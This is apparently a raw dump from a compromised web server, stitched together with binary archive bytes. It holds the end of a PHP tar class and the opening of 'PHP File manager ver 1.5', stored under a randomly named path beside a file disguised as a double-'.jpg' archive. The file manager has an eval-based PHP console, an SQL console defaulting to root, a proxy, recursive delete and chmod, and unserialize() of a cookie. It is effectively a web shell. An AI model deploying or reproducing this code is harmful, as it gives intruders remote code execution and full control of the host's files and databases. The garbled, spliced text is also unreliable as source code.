				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>67e272a89d6f9.jpg.jpg.tar.gz000064400000001211000000000000011034 0ustar00�+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O527J��L1K���*Hg �����8����� d���*a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@V�
PK!�Ș��9�910/4yd0ui/orb3c.phpnu�[���<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
